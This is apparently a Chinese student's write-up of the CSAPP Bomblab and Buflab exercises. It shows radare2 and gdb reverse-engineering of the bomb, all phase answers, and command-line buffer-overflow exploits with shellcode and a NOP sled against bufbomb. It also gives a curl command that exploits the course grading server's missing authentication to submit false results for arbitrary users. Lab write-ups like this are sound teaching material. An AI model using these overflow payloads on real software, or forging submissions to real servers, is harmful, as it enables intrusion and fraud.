汇编语言程序设计

以CSAPP为教材,其中两个实验是Bomblab和Bublab,把自己解决方式和使用到的工具、命令等记录如下,窃以为分析了一些网上找不到的内容,使用到的工具也是网上很难找到的。

Bomblab

行为分析

initialize_bomb

在6个phase开始前执行,调用了signalSIGINT注册了信号处理函数sig_handler:输出“So you think you can stop the bomb with ctrl-c, do you”,sleep三秒后输出“Well...”, sleep一秒后输出“OK. :-)”。之后initialize_bomb调用init_driver:向15214端口发起连接,并立刻关闭写端。

read_line

一行若大于等于78个字符就会产生错误。

phase_defused

每个任务成功后调用,会调用send_msg(0)

explode_bomb

任务失败后调用,实际上会调用send_msg(1)。 服务端会发来爆炸信息,同时关闭之前15214端口监听的socket。

submitr

向166.111.68.242:15214发送HTTP 1.0请求,数据中包含bomb编号,用户编号和用户提交的字符串以及炸弹是否爆炸等。范围的字符是不允许发送的。

另外服务端未对userid做认证,导致可以提交错误的结果给任意用户:

1
curl 'http://166.111.68.242:15214/csapp/submitr.pl/?userid=&lab=f12&result=xxx%3Aexploded%3A1%3Aa&submit=submit'

调试环境

可以每次运行时都用gdb打开,在explode_bomb处下断点,但较为麻烦。注意到bomb的行为,可以把send_msg的第一个字节改为ret指令,避免和服务器交互。

1
2
r2 -qwc 'wa ret @sym.send_msg; s sym.explode_bomb; \
"wa mov rax, 1; mov rbx, rax; int 0x80"' bomb

Phases

Phase 1

使用r2 -c af@sym.phase_1 -c pdf@sym.phase_1 bomb反汇编可以发现phase_1是一个取一个字符串参数的函数,把该字符串和某个.rodata段里的字符串进行了比较,不相等则引爆炸弹。

% strings /tmp/bomb | grep Border
Border relations with Canada have never been better.

Phase 2

反汇编phase_2

% r2 -c af@sym.phase_2 -c pdf@sym.phase_2 bomb

研究read_six_numbers发现这个函数取一个字符串参数,用sscanf读入了6个int。需要成立。

0, 1, 3, 6, 10, 15即可。

Phase 3

下面代码实现了一个跳转表的switch

[0x080488a0]> pi 4 @0x08048e23
cmp dword [ebp-0xc], 0x7
ja 0x8048e6b
mov eax, [ebp-0xc]
jmp dword [eax*4+0x804a054]

发现输入为2 896即可。

Phase 4

取两个参数a, b的函数,0 <= a && a <= 14 && b == 7 && f(a, 0, 14) == 7f比较复杂,使用枚举法:

for i in `seq 0 30`; do { (cat in; echo "$i 7") | ./good |& grep -q EOF && notify-send $i;} &; done

得到答案14 7

Phase 5

有一层循环复制参数字符串,根据r2 -c ’af@sym.phase_5; pdf@sym.phase_5’ bomb

...
|           0x08048d3c      c645e700         mov byte [ebp-0x19], 0x0
|           0x08048d40      c74424044da00408 mov dword [esp+0x4], str.oilers
|           0x08048d48      8d45e1           lea eax, [ebp-0x1f]
...

找到字符oilersarray_2952中的偏移,增加64转换成大写字母:

% r2 bomb
[0x080488a0]> px 16@sym.array.2952
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0804a074  6d61 6475 6965 7273 6e66 6f74 7662 796c  maduiersnfotvbyl
[0x080488a0]> !rax2 -S
oilers
6f696c6572730a
[0x080488a0]> !rax2 -S << 'oilers'

% xargs -n1 <<< '10 4 15 5 6 7' | perl -ane 'print chr($_+64)'
JDOEFG

Phase 6

读入6个的互不相等的数,每个数表示单链表中的第几个元素。需要找到一个下标序列,使得这个下标序列对应的单链表节点值是不升的。

% nm good G node
0804b5dc D node1
0804b5d0 D node2
0804b5c4 D node3
0804b5b8 D node4
0804b5ac D node5
0804b5a0 D node6

% r2 bomb
[0x0804b5a0]> e hex.cols=12
[0x0804b5a0]> s sym.node6
[0x0804b5a0]> pxw 72
0x0804b5a0  0x000003cf 0x00000006 0x00000000  ............
0x0804b5ac  0x00000213 0x00000005 0x0804b5a0  ............
0x0804b5b8  0x00000248 0x00000004 0x0804b5ac  H...........
0x0804b5c4  0x0000037b 0x00000003 0x0804b5b8  {...........
0x0804b5d0  0x00000099 0x00000002 0x0804b5c4  ............
0x0804b5dc  0x0000031a 0x00000001 0x0804b5d0  ............
[0x0804b5a0]>

其中第一行是node6,最后一行是node1,所以 node6 > node3 > node1 > node4 > node5 > node2, 需要填6 3 1 4 5 2

Secret Phase

观察phase_defused的代码可以发现有一个隐藏关卡secret_phase,如果第6关通过了,phase_defused会用sscanf解析0x804b9d0得到两个数和一个字符串,这个字符串如果是“DrEvil”那么就能进入隐藏关。

可以发现0x804b9d0对应输入的第四行,而第四行本来就应该有两个数,所以可以在后面添加一个字符串“DrEvil”,在第6关通过进入隐藏关。隐藏关是和二叉搜索树相关的:

1
2
3
4
5
6
struct Node { int key; Node *l, *r; };

int fun7(Node *rt, int v)
{
return rt ? v < rt->key ? 2 * fun7(rt->l, v) : v > *rt ? 2 * fun7(rt->r, v) + 1 : 0 : -1;
}

只要从n1根节点出发,先往左走,再往右走即可。

[0x080488a0]> s sym.n1
[0x0804b690]> pxw  12
0x0804b690  0x00000024 0x0804b684 0x0804b678            $.......x...
[0x0804b690]> s sym.n1+4
[0x0804b694]> pxw 1
0x0804b694  0x0004b684                                .
[0x0804b694]> s sym.n1
[0x0804b690]> s sym.n1+4
[0x0804b694]> pxw 4
0x0804b694  0x0804b684                                ....
[0x0804b68c]> s 0x0804b684+8
[0x0804b68c]> pxw 4
0x0804b68c  0x0804b66c                                l...
[0x0804b68c]> pxw 4 @0x0804b66c
0x0804b66c  0x00000016                                ....
[0x0804b68c]> !rax2 0x16
22

输入22。

最后的输入文件是这样的:

Border relations with Canada have never been better.
0 1 3 6 10 15
2 896
14 7 DrEvil
JDOEFG
6 3 1 4 5 2
22

Buflab

行为分析

main

如果开启了nitro mode(-n)则运行5次launcher,否则运行一次。

launcher

调用了下面函数允许用户数据字符串的虚拟地址处可以执行代码:

1
mmap(0x55586000, 1048576, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_GROWSDOWN, 0, 0)

launch

接受两个参数,分别表示nitro mode是否开启和一个控制栈地址偏移的。调用alloca修改esp使得每次执行时栈地址相同。

validate

找到validate的虚拟地址:

[0x08048970]> ? $$ @sym.validate
134516900 0x80490a4 01001110244 128.0M 804000:00a4 134516900 10100100 134516900.0 0.000000

观察validate的xref可以发现有5处:smoke(0x0804907a), fizz(0x0804902f), bang, test, testn,这5处validate分别以参数被调用。

Phases

smoke: validate(0)

smoke的代码如下:

1
2
3
4
5
6
void smoke()
{
puts("Smoke!: You called smoke()");
validate(0);
exit(0);
}

非nitro mode下main会调用test,而后者会调用getbuf,让getbuf返回时跳转到smoke即可。getbuf的代码如下:

1
2
3
4
5
6
int getbuf()
{
char a[52];
gets(a);
return 1;
}

提供的不含n串即可。注意如果要把结果提交到服务端,因为会使用到submitr(和之前BombLab的相同),范围的字符是不允许发送的。

1
2
(jot -s '' -b 00 56; echo -n 0804907a | tac -rs..; echo 0a) | \
xxd -r -p | ./bufbomb -u2011011269

fizz: validate(1)

1
2
3
4
5
6
7
8
9
void fizz(int a)
{
if (a == cookie) {
printf("Fizz!: You called fizz(0x%x), a);
validate(1);
} else
printf("Misfire: You called fizz(0x%x), a);
exit(0);
}

需要提供一个等于cookie的参数,偏移量为返回地址+8,中间夹着的为返回后的地址,但因为fizz调用exit(0)退出了,这个返回地址用不到,可以任填:

1
2
(jot -s '' -b 00 56; echo -n 0804902f | tac -rs..; echo 12345678; \
echo -n 1328f63b | tac -rs..; echo 0a) | xxd -r -p | ./bufbomb -u2011011269

bang: validate(2)

1
2
3
4
5
6
7
8
9
void bang()
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

getbuf返回到bang前需要先把global_value修改成cookie

可以让输入串最开头为一段shellcode修改global_valueret,补齐到56个字节,再填写bang的入口地址。

% r2 bufbomb
[0x08048970]> fl sym.global_value
0x0804c1ec
[0x08048970]> fl sym.cookie
0x0804c1e4
[0x08048970]> 

% rasm2 'mov eax, 0804c1ech; mov ecx, 0804c1e4h; mov ecx, [ecx]; mov [eax], ecx; ret'
b8ecc10408b9e4c104088b098908c3

然后需要知道getbuf的缓冲区在栈上的地址:

% gdb -batch bufbomb -x =(echo 'b getbuf\nr -u2011011269\np/x $ebp-0x34')
Breakpoint 1 at 0x8048bda
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).

warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: 2011011269
Cookie: 0x1328f63b

Breakpoint 1, 0x08048bda in getbuf ()
$1 = 0x5568316c

然后先写shellcode,pad后跟上输入字符串的地址和bomb入口地址:

1
2
3
(rasm2 'mov eax, 0804c1ech; mov ecx, 0804c1e4h; mov ecx, [ecx]; mov [eax], ecx; ret'; \
jot -s '' -b 33 $[56-15]; echo -n 5568316c | tac -rs..; echo -n 08048fe2 | \
tac -rs..; echo 0a) | tr -d '\n' | xxd -r -p | ./bufbomb -u2011011269

test: validate(3)

之前每次在test调用完getbuf后就修改返回地址不回到test了,这次要继续执行test的代码。另外需要恢复ebp的值,在shellcode里设置即可,另外也可以在覆盖getbuf的返回地址时写入ebp的正确值:

1
2
3
(rasm2 'mov eax, [0x0804c1e4]; mov ebp, 0x556831d0; push 0x08048c63; ret'; \
jot -s '' -b 33 $[56-17]; echo -n 5568316c | tac -rs..; echo 0a) | \
tr -d '\n' | xxd -r -p | ./bufbomb -u2011011269

testn: validate(4)

命令行选项-n进入,main会用0和四个由0x80 - random() & 0xf0生成的数调整testn入口处的esp。第一次调用testn时栈地址不变,之后四次调用testn栈地址调整量在之间变化,原因是calloc分配的堆上的数是随机的。先获取第一次调用testn里的getbufn时的输入缓冲区地址:

% gdb -batch bufbomb -x =(echo 'b getbufn\nr -u2011011269 -n\np/x $ebp-0x208')
Breakpoint 1 at 0x8048bbf
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).

warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: 2011011269
Cookie: 0x1328f63b

Breakpoint 1, 0x08048bbf in getbufn ()
$1 = 0x55682f98

之后调用得到的地址会在这个值基础上增加。观察发现使用lea ebp, [esp+028]可以恢复testnebp

% echo -e 'BITS 32\nmov eax, [0x0804c1e4]\nlea ebp, [esp+0x28]\npush 0x08048bfe\nret' > a.s
% nasm a.s
% xxd -p a
a1e4c104088d6c242868fe8b0408c3

在输入串最开头放上长为(其实239即可)的NOP sled,之后跟上shellcode,然后再把长度pad成,接上输入缓冲区中间位置的地址。由于要输入5次,可以用sed复制成5份:

1
2
3
(jot -s '' -b 90 240; echo a1e4c104088d6c242868fe8b0408c3; \
jot -s '' -b 90 $[0x208+4-240-15]; printf %08x $[0x55682f98+0x80] | \
tac -rs..; echo 0a) | tr -d '\n' | sed 's/.*/&&&&&/' | xxd -r -p | ./bufbomb -u2011011268 -n

其他

工具

主要用到了尚在开发中的radare2,文档很少,在使用过程中也发现了好几个bug,但总而言之这是款神器。

BSD jot,用来产生重复的字符串。

coreutils,包括tac -rs..转换大小端。

xxd,主要用-p产生plain hexdump,以及-r -p从plain hexdump转换回去。

其他准备

一开始以为要用些手段去掉ASLR的,可以设置personality,或者更简单地,用setarch `arch` -R执行,另外还要去掉所有环境变量以防止栈地址受到影响:

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>

char *argv[] = {"setarch", "i386", "-R", "stack", 0};
char *empty[] = {0};

int main()
{
execvpe("setarch", argv, empty);
return 1;
}

或者使用env -i setarch `arch` -R运行。